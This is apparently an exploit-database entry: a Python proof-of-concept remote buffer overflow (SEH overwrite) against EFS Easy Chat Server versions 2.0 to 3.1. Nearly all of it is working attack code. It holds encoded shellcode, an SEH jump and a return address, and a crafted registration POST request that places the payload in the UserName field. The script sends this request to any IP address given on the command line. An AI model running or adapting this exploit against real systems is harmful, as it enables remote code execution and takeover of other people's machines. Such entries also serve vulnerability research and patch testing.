EFS Easy Chat Server 3.1 – Remote Buffer Overflow (SEH)
# Exploit Title: Easy Chat Server User Registeration Buffer Overflow (SEH) # Date: 09/10/2017 # Software Link: http://echatserver.com/ecssetup.exe # Exploit Author: Aitezaz Mohsin # Vulnerable Version: v2.0 to v3.1 # Vulnerability Type: Buffer Overflow # Severity: Critical # Tested on: [Windows XP Sp3 Eng] # ====================================================================================================================== # Username parameter in Registeration page 'register.ghp' is prone to a stack-based buffer-overflow vulnerability. # Application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. # ====================================================================================================================== # USAGE: python exploit.py ip #!/usr/bin/python import os import sys import socket ip = sys.argv[1] socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM) socket.connect((ip , 80)) #AlphanumericShellcode shellcode = ("\x89\xe2\xda\xde\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x43\x43" "\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41" "\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42" "\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50" "\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x32\x55\x50\x33" "\x30\x35\x50\x43\x50\x4d\x59\x5a\x45\x36\x51\x4f\x30\x32\x44" "\x4c\x4b\x30\x50\x50\x30\x4c\x4b\x51\x42\x54\x4c\x4c\x4b\x30" "\x52\x44\x54\x4c\x4b\x44\x32\x36\x48\x34\x4f\x58\x37\x50\x4a" "\x31\x36\x36\x51\x4b\x4f\x4e\x4c\x47\x4c\x43\x51\x33\x4c\x43" "\x32\x46\x4c\x51\x30\x39\x51\x48\x4f\x34\x4d\x45\x51\x48\x47" "\x4d\x32\x4c\x32\x50\x52\x56\x37\x4c\x4b\x31\x42\x42\x30\x4c" "\x4b\x31\x5a\x47\x4c\x4c\x4b\x30\x4c\x54\x51\x42\x58\x4a\x43" "\x47\x38\x35\x51\x48\x51\x36\x31\x4c\x4b\x46\x39\x37\x50\x55" "\x51\x49\x43\x4c\x4b\x50\x49\x35\x48\x4b\x53\x57\x4a\x37\x39" "\x4c\x4b\x50\x34\x4c\x4b\x53\x31\x38\x56\x56\x51\x4b\x4f\x4e" "\x4c\x49\x51\x38\x4f\x44\x4d\x53\x31\x39\x57\x37\x48\x4b\x50" "\x32\x55\x4a\x56\x43\x33\x43\x4d\x4c\x38\x57\x4b\x43\x4d\x31" "\x34\x43\x45\x5a\x44\x46\x38\x4c\x4b\x31\x48\x51\x34\x33\x31" "\x58\x53\x42\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x46\x38\x35" "\x4c\x35\x51\x4e\x33\x4c\x4b\x45\x54\x4c\x4b\x43\x31\x4e\x30" "\x4d\x59\x30\x44\x31\x34\x37\x54\x31\x4b\x51\x4b\x53\x51\x31" "\x49\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x51\x4f\x51\x4f\x50\x5a" "\x4c\x4b\x35\x42\x5a\x4b\x4c\x4d\x51\x4d\x55\x38\x46\x53\x36" "\x52\x35\x50\x55\x50\x45\x38\x32\x57\x32\x53\x30\x32\x51\x4f" "\x56\x34\x33\x58\x30\x4c\x32\x57\x56\x46\x44\x47\x4b\x4f\x58" "\x55\x4f\x48\x4c\x50\x35\x51\x43\x30\x43\x30\x37\x59\x4f\x34" "\x50\x54\x50\x50\x32\x48\x37\x59\x4b\x30\x32\x4b\x55\x50\x4b" "\x4f\x59\x45\x53\x5a\x33\x38\x50\x59\x50\x50\x5a\x42\x4b\x4d" "\x51\x50\x36\x30\x31\x50\x36\x30\x45\x38\x4b\x5a\x54\x4f\x39" "\x4f\x4b\x50\x4b\x4f\x38\x55\x4c\x57\x52\x48\x53\x32\x45\x50" "\x44\x51\x31\x4c\x4b\x39\x4b\x56\x52\x4a\x52\x30\x50\x56\x56" "\x37\x33\x58\x58\x42\x39\x4b\x46\x57\x55\x37\x4b\x4f\x39\x45" "\x51\x47\x43\x58\x4f\x47\x4b\x59\x30\x38\x4b\x4f\x4b\x4f\x59" "\x45\x51\x47\x42\x48\x54\x34\x5a\x4c\x57\x4b\x4b\x51\x4b\x4f" "\x48\x55\x30\x57\x5a\x37\x42\x48\x32\x55\x52\x4e\x30\x4d\x45" "\x31\x4b\x4f\x38\x55\x35\x38\x35\x33\x52\x4d\x45\x34\x45\x50" "\x4b\x39\x4d\x33\x56\x37\x31\x47\x56\x37\x46\x51\x5a\x56\x32" "\x4a\x44\x52\x56\x39\x31\x46\x5a\x42\x4b\x4d\x53\x56\x39\x57" "\x30\x44\x51\x34\x57\x4c\x35\x51\x33\x31\x4c\x4d\x37\x34\x57" "\x54\x32\x30\x58\x46\x35\x50\x51\x54\x50\x54\x30\x50\x31\x46" "\x51\x46\x36\x36\x31\x56\x36\x36\x30\x4e\x36\x36\x51\x46\x31" "\x43\x46\x36\x43\x58\x33\x49\x48\x4c\x47\x4f\x4b\x36\x4b\x4f" "\x58\x55\x4c\x49\x4d\x30\x30\x4e\x36\x36\x47\x36\x4b\x4f\x56" "\x50\x32\x48\x33\x38\x4c\x47\x35\x4d\x35\x30\x4b\x4f\x49\x45" "\x4f\x4b\x4a\x50\x48\x35\x59\x32\x50\x56\x52\x48\x4f\x56\x5a" "\x35\x4f\x4d\x4d\x4d\x4b\x4f\x58\x55\x37\x4c\x53\x36\x33\x4c" "\x44\x4a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x45\x55\x4f\x4b\x37" "\x37\x34\x53\x52\x52\x32\x4f\x53\x5a\x35\x50\x36\x33\x4b\x4f" "\x4e\x35\x41\x41") magic = "B" * 217 magic += "\xeb\x06\x90\x90" magic += "\xBC\x04\x01\x10" magic += shellcode magic += "C" * 200 buffer = "POST /registresult.htm HTTP/1.1\r\n\r\n" buffer += "Host: 192.168.1.11" buffer += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0" buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" buffer += "Accept-Language: en-US,en;q=0.5" buffer += "Accept-Encoding: gzip, deflate" buffer += "Referer: http://192.168.1.11/register.ghp" buffer += "Connection: close" buffer += "Content-Type: application/x-www-form-urlencoded" buffer += "UserName=" + magic +"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" socket.send(buffer) data = socket.recv(4096) print data socket.close() |